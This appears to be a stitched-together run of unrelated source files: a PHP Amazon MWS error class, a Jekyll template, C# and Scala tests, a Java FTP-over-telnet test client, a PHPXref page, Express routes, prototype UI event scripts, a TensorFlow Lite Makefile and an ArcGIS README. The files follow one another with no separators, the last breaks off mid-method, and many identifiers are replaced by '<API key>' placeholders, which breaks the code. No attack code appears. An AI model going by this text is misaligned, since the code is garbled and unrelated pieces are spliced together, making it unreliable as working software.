the value of the RequestId property. * * @param string RequestId * * @return $this instance */ public function setRequestId($value) { $this->fields['RequestId']['FieldValue'] = $value; return $this; } /** * Sets the value of the RequestId and returns this instance. * * @param string $value RequestId * * @return <API key> instance */ public function withRequestId($value) { $this->setRequestId($value); return $this; } /** * Checks if RequestId is set. * * @return bool true if RequestId is set */ public function isSetRequestId() { return !is_null($this->fields['RequestId']['FieldValue']); } /** * XML Representation for this object. * * @return string XML for this object */ public function toXML() { $xml = ''; $xml .= '<ErrorResponse xmlns="http://mws.amazonaws.com/doc/2009-01-01/">'; $xml .= $this->_toXMLFragment(); $xml .= '</ErrorResponse>'; return $xml; } private $<API key> = null; public function <API key>() { return $this-><API key>; } public function <API key>($<API key>) { return $this-><API key> = $<API key>; } }
<!-- Portfolio Grid Section --> <section id="portfolio" class="bg-light-gray"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading">Portfolio</h2> <h3 class="section-subheading text-muted"></h3> </div> </div> <div class="row"> {% for post in site.posts %} <div class="col-md-4 col-sm-6 portfolio-item"> <a href="#portfolioModal{{ post.modal-id }}" class="portfolio-link" data-toggle="modal"> <div class="portfolio-hover"> <div class="<API key>"> <i class="fa fa-plus fa-3x"></i> </div> </div> <img src="img/portfolio/{{ post.thumbnail }}" class="img-responsive img-centered" alt="post.alt"> </a> <div class="portfolio-caption"> <h4>{{ post.title }}</h4> <p class="text-muted">{{ post.subtitle }}</p> </div> </div> {% endfor %} </div> </div> </section>
// kevinjong 2016-02-11 - Creation using System.IO; using System.Linq; using Xunit; namespace IsTo.Tests { public class TestHelper { internal static void StreamComparison( Stream stream1, Stream stream2) { var bufferSize = 2048; var buffer1 = new byte[bufferSize]; var buffer2 = new byte[bufferSize]; while(true) { var count1 = stream1.Read(buffer1, 0, bufferSize); var count2 = stream2.Read(buffer2, 0, bufferSize); Assert.True(count1 == count2); if(count1 == 0) { return; } Assert.True( buffer1 .Take(count1) .SequenceEqual(buffer2.Take(count2)) ); } } } }
/*! * Module requirements */ var NeopreneError = require('../error') /** * Document Validation Error * * @api private * @param {Document} instance * @inherits NeopreneError */ function ValidationError (instance) { NeopreneError.call(this, "Validation failed"); Error.captureStackTrace(this, arguments.callee); this.name = 'ValidationError'; this.errors = instance.errors = {}; }; /** * Console.log helper * @api private */ ValidationError.prototype.toString = function () { return this.name + ': ' + Object.keys(this.errors).map(function (key) { return String(this.errors[key]); }, this).join(', '); }; /*! * Inherits from NeopreneError. */ ValidationError.prototype.__proto__ = NeopreneError.prototype; /*! * Module exports */ module.exports = exports = ValidationError;
package com.twitter.tiny import com.google.inject.Stage import com.twitter.finatra.http.test.EmbeddedHttpServer import com.twitter.inject.server.FeatureTest class <API key> extends FeatureTest { override val server = new EmbeddedHttpServer( stage = Stage.PRODUCTION, twitterServer = new TinyUrlServer) "Server" should { "startup" in { server.assertAppStarted() } } }
package com.aqua.filetransfer.ftp; import java.io.File; import java.io.FileInputStream; import java.util.Properties; import jsystem.framework.JSystemProperties; import jsystem.framework.system.SystemObjectImpl; import jsystem.utils.FileUtils; import jsystem.utils.ReflectionUtils; import jsystem.utils.StringUtils; import systemobject.terminal.Cli; import systemobject.terminal.Prompt; import com.aqua.sysobj.conn.CliConnection; import com.aqua.sysobj.conn.CliConnectionImpl; import com.aqua.sysobj.conn.CliFactory; public class FTPRemoteClient extends SystemObjectImpl { public static final String <API key> = "filetransfer.properties"; public static final String FTP_PROMPTS = "ftp.prompts"; public static final String FTP_LOGIN_PROMPTS = "ftp.login.prompts"; public static final String <API key> = "ftp.password.prompts"; public static final String <API key> = "local.host.external.name"; public CliConnection cliConnection; private Cli cli; private String host; private String operatingSystem = CliFactory.<API key>; private String protocol = "telnet"; private int port = 23; private String user; private String password; private String ftpServerHostName; private String ftpUserName="aqua"; private String ftpPassword="aqua"; private boolean ascii ; private Prompt[] ftpGeneralPrompts; private Prompt[] ftpLoginPrompts; private Prompt[] ftpPasswordPrompts; private java.net.InetAddress localMachine; private boolean promptOn = true; public FTPRemoteClient(CliConnection cliConn,String ftpServerHostName) throws Exception{ cliConnection = cliConn; <API key>(ftpServerHostName); } /** * Constructs a FTPRemoteClient for working on local machine as the remote machine.<br> * Used for testing purposes. */ public FTPRemoteClient() throws Exception{ localMachine = java.net.InetAddress.getLocalHost(); setHost(localMachine.getHostName()); } /** * Constructs a FTPRemoteClient were remote machine is this machine. * The FTPRemoteClient assumes Aqua's embedded FTP server is running on * this machine. */ public FTPRemoteClient(String user,String password) throws Exception { this(); setUser(user); setPassword(password); } /** * Constructs a FTPRemoteClient were remote machine is <code>host</code>. * The FTPRemoteClient assumes Aqua's embedded FTP server is running on * this machine. */ public FTPRemoteClient(String host,String telnetUser,String telnetPassword,String ftpServerHostName) throws Exception{ this(telnetUser,telnetPassword); setHost(host); <API key>(ftpServerHostName); } /** * Initializes {@link FTPRemoteClient} members and verifies that * a telnet connection can be opened to the remote client and * that the remote client can open a FTP connection to the server.<br> * All connections are closed when initialization is done. * @see SystemObjectImpl#init() */ public void init() throws Exception { super.init(); initPrompts(); } /** * Closes connection to remote machine. */ public void closeFTPSession(){ closeFtp(); closeCli(); } /** * Copies a file from FTP server machine(in most cases it will be the local machine) * to the remote client.<br> * Source file path should be relative to FTP user home directory and not absolute * file path. * Destination can be either absolute destination path or relative to client's * user directory.<br> */ public void <API key>(String source, String destination) throws Exception { StringBuffer stringbuffer = new StringBuffer("get "); destination = adjustPath(destination); stringbuffer.append(source); stringbuffer.append(" "); stringbuffer.append(destination); copyFileViaFTP(stringbuffer.toString()); } /** * Copies all files from FTP server machine(in most cases it will be the local machine) * to the remote client.<br> * * @param filesPath - String Array (String...) of full file path.<br> * @throws Exception */ public void <API key>(String... filesPath) throws Exception{ copyAllFilesViaFTP("mget ", filesPath); } /** * Copies a file from the remote client to FTP server machine(in most cases it will be * the local machine) * * Source file path can be either absolute destination path or relative to client's * user directory. * Destination should be relative to FTP user home directory and not absolute * file path. */ public void <API key>(String source, String destination) throws Exception { source = adjustPath(source); StringBuffer stringbuffer = new StringBuffer("put "); stringbuffer.append(source); stringbuffer.append(" "); stringbuffer.append(destination); copyFileViaFTP(stringbuffer.toString()); } /** * Copies all files from remote client to FTP server machine(in most cases it will be * the local machine).<br> * * @param filesPath - String Array (String...) of full file path.<br> * @throws Exception */ public void <API key>(String... filesPath) throws Exception{ copyAllFilesViaFTP("mput ", filesPath); } private void copyFileViaFTP(String command) throws Exception { openFTPSession(); setAsciiMode(isAscii()); setPromptMode(isPromptOn()); runCliCommand(command); } private void copyAllFilesViaFTP(String command, String... filesPath) throws Exception { StringBuffer stringBuffer = new StringBuffer(command); openFTPSession(); setAsciiMode(isAscii()); setPromptMode(isPromptOn()); for(String currentFilePath : filesPath){ String source = adjustPath(currentFilePath); stringBuffer.append(source); stringBuffer.append(" "); } runCliCommand(stringBuffer.toString()); } private void runCliCommand(String command) throws Exception{ cli.command(command , 1000 *60 * 5,true,false,null,ftpGeneralPrompts); if (cli.getResult().indexOf("226") < 0){ throw new Exception("Failed in files transfer"); } } /** * Changes ftp session mode to passive */ public void passivate(boolean isPassive) throws Exception { openFTPSession(); for (int i = 0; i < 2;i++){ cli.command("passive",1000*60,true,false,null,ftpGeneralPrompts); String result = cli.getResult().toLowerCase(); boolean on = result.indexOf("on") >= 0; boolean off = result.indexOf("off")>= 0; boolean notSupported = result.indexOf("invalid")>= 0; if (notSupported){ throw new Exception("Passivation not supported"); } if ((isPassive && on) ||(!isPassive && off) ){ break; } } } /** * Terminates FTPRemoteClient. */ public void close() { closeFTPSession(); super.close(); } /** * Opens FTP session */ private void openFTPSession() throws Exception { initCli(); ftpLogin(); } private void initCli() throws Exception { if (cli == null){ if (cliConnection != null){ <API key>(); return; } Prompt p = new Prompt(); p.setPrompt(">"); p.setCommandEnd(true); cli = CliFactory.createCli(getHost(),getOperatingSystem(), getProtocol(),getUser(),getPassword(),new Prompt[]{p}); } } private void <API key>() throws Exception{ if (!cliConnection.isConnected()){ cliConnection.connect(); } cli = (Cli)ReflectionUtils.getField("cli", CliConnectionImpl.class).get(cliConnection); } private void closeFtp(){ try { cli.command("bye", 1000 *2 ,true,false,null,new Prompt[]{new Prompt("bye.",true)}); if (cli.getResult().indexOf("221") < 0){ report.report("Did not find success code 221"); } }catch (Exception e){ report.report("Could not find prompt after closing session. " + e.getMessage()); } } private void closeCli(){ if (cli != null){ try { if (cliConnection != null){ <API key>(); } cli.close(); }catch (Exception e){ report.report("Failed closing telnet connection",e); } } cli=null; } private void <API key>() throws Exception{ if (cliConnection.isConnected()){ cliConnection.disconnect(); } } /** * Starts FTP client and performs login. */ private void ftpLogin() throws Exception{ cli.command(""); String result = cli.getResult(); for (String ftpPrompt:<API key>(ftpGeneralPrompts)){ if (result.indexOf(ftpPrompt) >=0 ){ //we are already logged in return; } } String serverAddress = getFTPServerAddress(); cli.command("ftp " + serverAddress, 1000*60,true,false,null,ftpLoginPrompts); if (cli.getResult().indexOf("220") < 0){ throw new Exception("Failed connecting to FTP server.("+serverAddress+"). Please verify that there is a ping between the remote client to the runner machine"); } cli.command(getFtpUserName(),1000*60,true,false,null,ftpPasswordPrompts); if (cli.getResult().indexOf("331") < 0){ throw new Exception("Failed in login process"); } cli.command(getFtpPassword(),1000*60,true,false,null,ftpGeneralPrompts); if (cli.getResult().indexOf("230") < 0){ throw new Exception("User not authorized to login"); } } /** * Changes ftp session mode (ascii/binary) */ private void setAsciiMode(boolean isAscii) throws Exception { String command = "binary"; if (isAscii){ command="ascii"; } cli.command(command,1000*60,true,false,null,ftpGeneralPrompts); if (cli.getResult().indexOf("200") < 0){ throw new Exception("Failed changing to binary mode"); } } /** * Changes the FTP session mode ( on / off ) * @param promptOn * @throws Exception */ private void setPromptMode(boolean promptOn) throws Exception{ String command = "prompt off"; if (promptOn){ command="prompt on"; } cli.command(command,1000*60,true,false,null,ftpGeneralPrompts); if (cli.getResult().indexOf("Interactive") < 0){ throw new Exception("Failed changing prompt mode"); } } public boolean isPromptOn() { return promptOn; } public void setPromptOn(boolean promptOn) { this.promptOn = promptOn; } /** * Adjusts file path to operating system. */ private String adjustPath(String path) { if (CliFactory.<API key>.equals(getOperatingSystem())){ String toReturn = FileUtils.<API key>(path); if (!toReturn.startsWith("\"")){ toReturn = "\""+toReturn+"\""; } return toReturn; }else { return FileUtils.replaceSeparator(path); } } private void initPrompts() throws Exception { String[] defaultFTPPrompts = new String[]{"ftp>"}; String[] defaultLoginPrompts = new String[]{"):"}; String[] <API key> = new String[]{"for "+getFtpUserName(),"Password:"}; if (!new File(<API key>).exists()){ ftpGeneralPrompts = <API key>(defaultFTPPrompts); ftpLoginPrompts = <API key>(defaultLoginPrompts); ftpPasswordPrompts = <API key>(<API key>); return; } Properties props = new Properties(); FileInputStream stream = new FileInputStream(<API key>); try { props.load(stream); }finally{ try{stream.close();}catch(Exception e){}; } String ftpPrompts = props.getProperty(FTP_PROMPTS); String[] <API key> = StringUtils.split(ftpPrompts, ";, "); <API key> = StringUtils.mergeStringArrays(new String[][]{<API key>,defaultFTPPrompts}); ftpGeneralPrompts = <API key>(<API key>); String _ftpLoginPrompts = props.getProperty(FTP_LOGIN_PROMPTS); String[] <API key> = StringUtils.split(_ftpLoginPrompts, ";, "); <API key> = StringUtils.mergeStringArrays(new String[][]{<API key>,defaultLoginPrompts}); ftpLoginPrompts = <API key>(<API key>); String _ftpPasswordPrompts = props.getProperty(<API key>); String[] ftp<API key> = StringUtils.split(_ftpPasswordPrompts, ";, "); ftp<API key> = StringUtils.mergeStringArrays(new String[][]{ftp<API key>,<API key>}); ftpPasswordPrompts = <API key>(ftp<API key>); } private String[] <API key>(Prompt[] prompts){ if (prompts == null){ return new String[0]; } String[] res = new String[prompts.length]; int i=0; for (Prompt p:prompts){ res[i]=p.getPrompt(); i++; } return res; } private Prompt[] <API key>(String[] promptsAsString){ if (promptsAsString == null){ return new Prompt[0]; } Prompt[] res = new Prompt[promptsAsString.length]; int i=0; for (String s:promptsAsString){ res[i]=new Prompt(s,false); res[i].setCommandEnd(true); i++; } return res; } private String getFTPServerAddress(){ if (!StringUtils.isEmpty(<API key>())){ return <API key>(); } if (!StringUtils.isEmpty(JSystemProperties.getInstance().getPreference(<API key>))){ return JSystemProperties.getInstance().getPreference(<API key>); } return localMachine.getHostName(); } public String getHost() { return host; } public String getOperatingSystem() { return operatingSystem; } public void setOperatingSystem(String operatingSystem) { this.operatingSystem = operatingSystem; } public String getProtocol() { return protocol; } public void setProtocol(String protocol) { this.protocol = protocol; } public void setHost(String remoteHost) { this.host = remoteHost; } public String getPassword() { return password; } public void setPassword(String telnetPassword) { this.password = telnetPassword; } public int getPort() { return port; } public void setPort(int telnetPort) { this.port = telnetPort; } public String getUser() { return user; } public void setUser(String telnetUser) { this.user = telnetUser; } public String <API key>() { return ftpServerHostName; } public void <API key>(String ftpServerHostName) { this.ftpServerHostName = ftpServerHostName; } public String getFtpUserName() { return ftpUserName; } public void setFtpUserName(String ftpUserName) { this.ftpUserName = ftpUserName; } public String getFtpPassword() { return ftpPassword; } public void setFtpPassword(String ftpPassword) { this.ftpPassword = ftpPassword; } public boolean isAscii() { return ascii; } public void setAscii(boolean ascii) { this.ascii = ascii; } }
// @target: ES6 var x = 1 % `abc${ 1 }def`;
<!doctype html public "- <html> <head> <title>PHPXRef 0.7.1 : Unnamed Project : Class Reference: testofauthenticator</title> <link rel="stylesheet" href="../sample.css" type="text/css"> <link rel="stylesheet" href="../sample-print.css" type="text/css" media="print"> <style id="hilight" type="text/css"></style> <meta http-equiv="content-type" content="text/html;charset=iso-8859-1"> </head> <body bgcolor="#ffffff" text="#000000" link="#801800" vlink="#300540" alink="#ffffff"> <table class="pagetitle" width="100%"> <tr> <td valign="top" class="pagetitle"> [ <a href="../index.html">Index</a> ] </td> <td align="right" class="pagetitle"> <h2 style="margin-bottom: 0px">PHP Cross Reference of Unnamed Project</h2> </td> </tr> </table> <!-- Generated by PHPXref 0.7.1 at Thu Oct 23 18:57:41 2014 --> <script src="../phpxref.js" type="text/javascript"></script> <script language="JavaScript" type="text/javascript"> <! ext='.html'; relbase='../'; subdir='_classes'; filename='index.html'; cookiekey='phpxref'; handleNavFrame(relbase, subdir, filename); logClass('testofauthenticator'); </script> <script language="JavaScript" type="text/javascript"> if (gwGetCookie('xrefnav')=='off') document.write('<p class="navlinks">[ <a href="javascript:navOn()">Show Explorer<\/a> ]<\/p>'); else document.write('<p class="navlinks">[ <a href="javascript:navOff()">Hide Explorer<\/a> ]<\/p>'); </script> <noscript> <p class="navlinks"> [ <a href="../nav.html" target="_top">Show Explorer</a> ] [ <a href="index.html" target="_top">Hide Navbar</a> ] </p> </noscript> [<a href="../index.html">Top level directory</a>]<br> <script language="JavaScript" type="text/javascript"> <! document.writeln('<table align="right" class="searchbox-link"><tr><td><a class="searchbox-link" href="javascript:void(0)" onMouseOver="showSearchBox()">Search</a><br>'); document.writeln('<table border="0" cellspacing="0" cellpadding="0" class="searchbox" id="searchbox">'); document.writeln('<tr><td class="searchbox-title">'); document.writeln('<a class="searchbox-title" href="javascript:showSearchPopup()">Search History +</a>'); document.writeln('<\/td><\/tr>'); document.writeln('<tr><td class="searchbox-body" id="searchbox-body">'); document.writeln('<form name="search" style="margin:0px; padding:0px" onSubmit=\'return jump()\'>'); document.writeln('<a class="searchbox-body" href="../_classes/index.html">Class<\/a>: '); document.writeln('<input type="text" size=10 value="" name="classname"><br>'); document.writeln('<a id="funcsearchlink" class="searchbox-body" href="../_functions/index.html">Function<\/a>: '); document.writeln('<input type="text" size=10 value="" name="funcname"><br>'); document.writeln('<a class="searchbox-body" href="../_variables/index.html">Variable<\/a>: '); document.writeln('<input type="text" size=10 value="" name="varname"><br>'); document.writeln('<a class="searchbox-body" href="../_constants/index.html">Constant<\/a>: '); document.writeln('<input type="text" size=10 value="" name="constname"><br>'); document.writeln('<a class="searchbox-body" href="../_tables/index.html">Table<\/a>: '); document.writeln('<input type="text" size=10 value="" name="tablename"><br>'); document.writeln('<input type="submit" class="searchbox-button" value="Search">'); document.writeln('<\/form>'); document.writeln('<\/td><\/tr><\/table>'); document.writeln('<\/td><\/tr><\/table>'); </script> <div id="search-popup" class="searchpopup"><p id="searchpopup-title" class="searchpopup-title">title</p><div id="searchpopup-body" class="searchpopup-body">Body</div><p class="searchpopup-close"><a href="javascript:gwCloseActive()">[close]</a></p></div> <h3>Class Cross Reference</h3> <h2><a href="index.html#testofauthenticator">testofauthenticator</a></h2> <b>Defined at:</b><ul> <li><a href="../tests/simpletest/test/authentication_test.php.html#testofauthenticator">/tests/simpletest/test/authentication_test.php</a> -> <a onClick="logClass('testofauthenticator', '/tests/simpletest/test/authentication_test.php.source.html#l89')" href="../tests/simpletest/test/authentication_test.php.source.html#l89"> line 89</a></li> </ul> <br><b>No references found.</b><br><br> </ul> <!-- A link to the phpxref site in your customized footer file is appreciated ;-) --> <br><hr> <table width="100%"> <tr><td>Generated: Thu Oct 23 18:57:41 2014</td> <td align="right"><i>Cross-referenced by <a href="http://phpxref.sourceforge.net/">PHPXref 0.7.1</a></i></td> </tr> </table> </body></html>
/** * App routes. */ var homepage = require('./homepage'); var user = require('./user'); var news = require('./news'); var test = require('./test'); var passport = require('passport'); function ensureAuthenticated(req, res, next) { if (req.isAuthenticated()) { return next(); } req.flash('error', ''); return res.redirect('/user/signin?redirect=' + req.path); } function ensureAdmin(req, res, next) { if (req.isAuthenticated() && req.user.isadmin) { return next(); } req.flash('error', ''); return res.redirect('/user/signin?redirect=' + req.path); } function ensurePermission(req, res, next) { if (req.isAuthenticated() && req.user.isadmin) { return next(); } if (req.isAuthenticated() && req.user.username == req.params.id) { return next(); } req.flash('error', ''); return res.redirect('/user/signin?redirect=' + req.path); } module.exports = function(app) { app.get('/', homepage.index); app.get('/user', ensureAdmin, user.showList); app.get('/user/page/:page(\\d+)', ensureAdmin, user.showList); app.get('/user/register', user.showRegister); app.post('/user/register', user.doRegister); app.get('/user/signin', user.showSignin); app.post('/user/signin', passport.authenticate('local', { successRedirect: '/', successFlash: '', failureRedirect: 'back', failureFlash: '', })); app.get('/user/signout', user.doSignout); app.get('/user/:id(\\d{8,13})/edit', ensurePermission, user.showEditUser); app.post('/user/:id(\\d{8,13})/edit', ensurePermission, user.doEditUser); app.get('/user/:id(\\d{8,13})/setadmin', ensureAdmin, user.setAdmin); app.get('/news', news.showList); app.get('/news/page/:page(\\d+)', news.showList); app.get('/news/:id(\\d+)', news.showItem); app.get('/news/:id(\\d+)/edit', ensureAdmin, news.showEditItem); app.post('/news/:id(\\d+)/edit', ensureAdmin, news.doEditItem); app.get('/news/:id(\\d+)/delete', ensureAdmin, news.doDeleteItem); app.get('/news/post', ensureAdmin, news.showNewItem); app.post('/news/post', ensureAdmin, news.doNewItem); app.get('/test', test); app.get('*', function(req, res){ return res.render('homepage', {title: '404'}); }); }
jQuery("#simulation") .on("click", ".<API key> .click", function(event, data) { var jEvent, jFirer, cases; if(data === undefined) { data = event; } jEvent = jimEvent(event); jFirer = jEvent.getEventFirer(); if(jFirer.is("#s-Label_58")) { cases = [ { "blocks": [ { "actions": [ { "action": "jimChangeStyle", "parameter": [ { "#<API key> #s-Label_58": { "attributes": { "font-size": "12.0pt", "font-family": "Roboto-Regular,Arial" } } },{ "#<API key> #s-Label_58 .valign": { "attributes": { "vertical-align": "middle", "text-align": "left" } } },{ "#<API key> #s-Label_58 span": { "attributes": { "color": "#80B8F1", "text-align": "left", "text-decoration": "none", "font-family": "Roboto-Regular,Arial", "font-size": "12.0pt" } } } ], "exectype": "serial", "delay": 0 }, { "action": "jimChangeStyle", "parameter": [ { "#<API key> #s-Label_59": { "attributes": { "font-size": "20.0pt", "font-family": "IOS8-Icons-Regular,Arial" } } },{ "#<API key> #s-Label_59 .valign": { "attributes": { "vertical-align": "middle", "text-align": "left" } } },{ "#<API key> #s-Label_59 span": { "attributes": { "color": "#80B8F1", "text-align": "left", "text-decoration": "none", "font-family": "IOS8-Icons-Regular,Arial", "font-size": "20.0pt" } } } ], "exectype": "serial", "delay": 0 }, { "action": "jimPause", "parameter": { "pause": 300 }, "exectype": "serial", "delay": 0 }, { "action": "jimChangeStyle", "parameter": [ { "#<API key> #s-Label_58": { "attributes": { "font-size": "12.0pt", "font-family": "Roboto-Regular,Arial" } } },{ "#<API key> #s-Label_58 .valign": { "attributes": { "vertical-align": "middle", "text-align": "left" } } },{ "#<API key> #s-Label_58 span": { "attributes": { "color": "#007DFF", "text-align": "left", "text-decoration": "none", "font-family": "Roboto-Regular,Arial", "font-size": "12.0pt" } } } ], "exectype": "serial", "delay": 0 }, { "action": "jimChangeStyle", "parameter": [ { "#<API key> #s-Label_59": { "attributes": { "font-size": "20.0pt", "font-family": "IOS8-Icons-Regular,Arial" } } },{ "#<API key> #s-Label_59 .valign": { "attributes": { "vertical-align": "middle", "text-align": "left" } } },{ "#<API key> #s-Label_59 span": { "attributes": { "color": "#157EFB", "text-align": "left", "text-decoration": "none", "font-family": "IOS8-Icons-Regular,Arial", "font-size": "20.0pt" } } } ], "exectype": "serial", "delay": 0 } ] } ], "exectype": "serial", "delay": 0 } ]; event.data = data; jEvent.launchCases(cases); } else if(jFirer.is("#s-cover")) { cases = [ { "blocks": [ { "actions": [ { "action": "jimChangeStyle", "parameter": [ { "#<API key> #s-cover": { "attributes": { "opacity": "0.75" } } },{ "#<API key> #s-cover": { "attributes-ie": { "-ms-filter": "progid:DXImageTransform.Microsoft.Alpha(Opacity=75)", "filter": "alpha(opacity=75)" } } },{ "#<API key> #s-cover": { "attributes-ie8lte": { "-ms-filter": "progid:DXImageTransform.Microsoft.Alpha(Opacity=75)", "filter": "alpha(opacity=75)" } } } ], "exectype": "serial", "delay": 0 }, { "action": "jimPause", "parameter": { "pause": 300 }, "exectype": "serial", "delay": 0 }, { "action": "jimChangeStyle", "parameter": [ { "#<API key> #s-cover": { "attributes": { "opacity": "1.0" } } },{ "#<API key> #s-cover": { "attributes-ie": { "-ms-filter": "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)", "filter": "alpha(opacity=100)" } } },{ "#<API key> #s-cover": { "attributes-ie8lte": { "-ms-filter": "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)", "filter": "alpha(opacity=100)" } } } ], "exectype": "serial", "delay": 0 } ] } ], "exectype": "serial", "delay": 0 } ]; event.data = data; jEvent.launchCases(cases); } else if(jFirer.is("#s-Hotspot_1")) { cases = [ { "blocks": [ { "actions": [ { "action": "jimNavigation", "parameter": { "target": "screens/<API key>" }, "exectype": "serial", "delay": 0 } ] } ], "exectype": "serial", "delay": 0 } ]; event.data = data; jEvent.launchCases(cases); } else if(jFirer.is("#s-Hotspot_3")) { cases = [ { "blocks": [ { "actions": [ { "action": "jimNavigation", "parameter": { "target": "screens/<API key>" }, "exectype": "serial", "delay": 0 } ] } ], "exectype": "serial", "delay": 0 } ]; event.data = data; jEvent.launchCases(cases); } else if(jFirer.is("#s-Button_1")) { cases = [ { "blocks": [ { "actions": [ { "action": "jimChangeStyle", "parameter": [ { "#<API key> #s-Button_1": { "attributes": { "font-size": "12.0pt", "font-family": "Roboto-Regular,Arial" } } },{ "#<API key> #s-Button_1 .valign": { "attributes": { "vertical-align": "middle", "text-align": "center" } } },{ "#<API key> #s-Button_1 span": { "attributes": { "color": "#80B8F1", "text-align": "center", "text-decoration": "none", "font-family": "Roboto-Regular,Arial", "font-size": "12.0pt" } } } ], "exectype": "serial", "delay": 0 }, { "action": "jimPause", "parameter": { "pause": 300 }, "exectype": "serial", "delay": 0 }, { "action": "jimChangeStyle", "parameter": [ { "#<API key> #s-Button_1": { "attributes": { "font-size": "12.0pt", "font-family": "Roboto-Regular,Arial" } } },{ "#<API key> #s-Button_1 .valign": { "attributes": { "vertical-align": "middle", "text-align": "center" } } },{ "#<API key> #s-Button_1 span": { "attributes": { "color": "#007DFF", "text-align": "center", "text-decoration": "none", "font-family": "Roboto-Regular,Arial", "font-size": "12.0pt" } } } ], "exectype": "serial", "delay": 0 } ] } ], "exectype": "serial", "delay": 0 } ]; event.data = data; jEvent.launchCases(cases); } }) .on("pageload", ".<API key> .pageload", function(event, data) { var jEvent, jFirer, cases; if(data === undefined) { data = event; } jEvent = jimEvent(event); jFirer = jEvent.getEventFirer(); if(jFirer.is("#s-Label_35")) { cases = [ { "blocks": [ { "actions": [ { "action": "jimSetValue", "parameter": { "target": "#s-Label_35", "value": { "action": "jimConcat", "parameter": [ { "action": "jimSubstring", "parameter": [ { "action": "jimSystemTime" },"0","5" ] }," PM" ] } }, "exectype": "serial", "delay": 0 } ] } ], "exectype": "serial", "delay": 0 } ]; event.data = data; jEvent.launchCases(cases); } });
MAKEFILE_DIR := tensorflow/lite/experimental/micro/tools/make # Pull in some convenience functions. include $(MAKEFILE_DIR)/helper_functions.inc # Try to figure out the host system HOST_OS := ifeq ($(OS),Windows_NT) HOST_OS = windows else UNAME_S := $(shell uname -s) ifeq ($(UNAME_S),Linux) HOST_OS := linux endif ifeq ($(UNAME_S),Darwin) HOST_OS := osx endif endif HOST_ARCH := $(shell if [[ $(shell uname -m) =~ i[345678]86 ]]; then echo x86_32; else echo $(shell uname -m); fi) # Override these on the make command line to target a specific architecture. For example: # make -f tensorflow/lite/Makefile TARGET=rpi TARGET_ARCH=armv7l TARGET := $(HOST_OS) TARGET_ARCH := $(HOST_ARCH) # Specify TAGS on the command line to add a particular set of specialized # implementations, for example TAGS="CMSIS disco_f746ng" to target a Discovery # STM32F746NG board, using the CMSIS library's implementations where possible. ALL_TAGS := $(TAGS) $(TARGET) INCLUDES := \ -I. \ -I$(MAKEFILE_DIR)/../../../../../ \ -I$(MAKEFILE_DIR)/../../../../../../ \ -I$(MAKEFILE_DIR)/../../../../../../../ \ -I$(MAKEFILE_DIR)/downloads/ \ -I$(MAKEFILE_DIR)/downloads/gemmlowp \ -I$(MAKEFILE_DIR)/downloads/flatbuffers/include \ -I$(OBJDIR) # This is at the end so any globally-installed frameworks like protobuf don't # override local versions in the source tree. INCLUDES += -I/usr/local/include TEST_SCRIPT := tensorflow/lite/experimental/micro/testing/test_linux_binary.sh MICROLITE_LIBS := -lm # There are no rules for compiling objects for the host system (since we don't # generate things like the protobuf compiler that require that), so all of # these settings are for the target compiler. CXXFLAGS := -O3 -DNDEBUG CXXFLAGS += --std=c++11 -g -<API key> CCFLAGS := -DNDEBUG -g -<API key> LDOPTS := -L/usr/local/lib ARFLAGS := -r <API key> := CC_PREFIX := # This library is the main target for this makefile. It will contain a minimal # runtime that can be linked in to other programs. MICROLITE_LIB_NAME := <API key>.a MICROLITE_TEST_SRCS := \ include $(wildcard tensorflow/lite/experimental/micro/examples/*/Makefile.inc)
# Display a scene Display a scene with a terrain surface and some imagery. ![](screenshot.png) ## Use case Scene views are 3D representations of real-world areas and objects. Scene views are helpful for visualizing complex datasets where 3D relationships, topography, and elevation of elements are important factors. ## How to use the sample When loaded, the sample will display a scene. Pan and zoom to explore the scene. ## How it works 1. Create a `Scene` object with a basemap using the `<API key>`. 2. Create an `<API key>` object and add it to the scene's base surface. 3. Create a `SceneView` object to display the map. 4. Set the scene to the scene view. ## Relevant API * <API key> * Scene * SceneView ## Tags 3D, basemap, elevation, scene, surface
package no.dusken.momus.model.websocket; public enum Action { CREATE, UPDATE, DELETE }
package com.google.api.ads.dfp.jaxws.v201511; import javax.xml.bind.annotation.XmlEnum; import javax.xml.bind.annotation.XmlType; @XmlType(name = "<API key>.Status") @XmlEnum public enum <API key> { /** * * The object is active. * * */ ACTIVE, /** * * The object is no longer active. * * */ INACTIVE, /** * * The value returned if the actual value is not exposed by the requested * API version. * * */ UNKNOWN; public String value() { return name(); } public static <API key> fromValue(String v) { return valueOf(v); } }
package akka.kafka.internal import akka.Done import akka.actor.ActorSystem import akka.kafka.ConsumerMessage._ import akka.kafka.{internal, CommitterSettings, ConsumerSettings, Subscriptions} import akka.kafka.scaladsl.{Committer, Consumer} import akka.kafka.scaladsl.Consumer.Control import akka.kafka.tests.scaladsl.LogCapturing import akka.stream._ import akka.stream.scaladsl._ import akka.stream.testkit.scaladsl.StreamTestKit.<API key> import akka.stream.testkit.scaladsl.TestSink import akka.testkit.TestKit import org.apache.kafka.clients.consumer._ import org.apache.kafka.common.TopicPartition import org.apache.kafka.common.serialization.StringDeserializer import org.scalatest.concurrent.ScalaFutures import org.scalatest.{BeforeAndAfterAll, FlatSpecLike, Matchers} import scala.jdk.<API key>._ import scala.collection.immutable.Seq import scala.concurrent.duration._ import scala.concurrent.{Await, Future} object <API key> { type K = String type V = String type Record = ConsumerRecord[K, V] def createMessage(seed: Int): CommittableMessage[K, V] = createMessage(seed, "topic") def createMessage(seed: Int, topic: String, groupId: String = "group1", metadata: String = ""): CommittableMessage[K, V] = { val offset = PartitionOffset(GroupTopicPartition(groupId, topic, 1), seed.toLong) val record = new ConsumerRecord(offset.key.topic, offset.key.partition, offset.offset, seed.toString, seed.toString) CommittableMessage(record, <API key>(offset, metadata)(null)) } def toRecord(msg: CommittableMessage[K, V]): ConsumerRecord[K, V] = msg.record } class <API key>(_system: ActorSystem) extends TestKit(_system) with FlatSpecLike with Matchers with BeforeAndAfterAll with ScalaFutures with LogCapturing { import <API key>._ implicit val patience: PatienceConfig = PatienceConfig(15.seconds, 1.second) def this() = this(ActorSystem()) override def afterAll(): Unit = shutdown(system) implicit val m = ActorMaterializer(<API key>(_system).withFuzzing(true)) implicit val ec = _system.dispatcher val messages = (1 to 1000).map(createMessage) def <API key>(msgss: Seq[Seq[CommittableMessage[K, V]]]): Unit = { val mock = new ConsumerMock[K, V]() val (control, probe) = <API key>(mock.mock) .toMat(TestSink.probe)(Keep.both) .run() 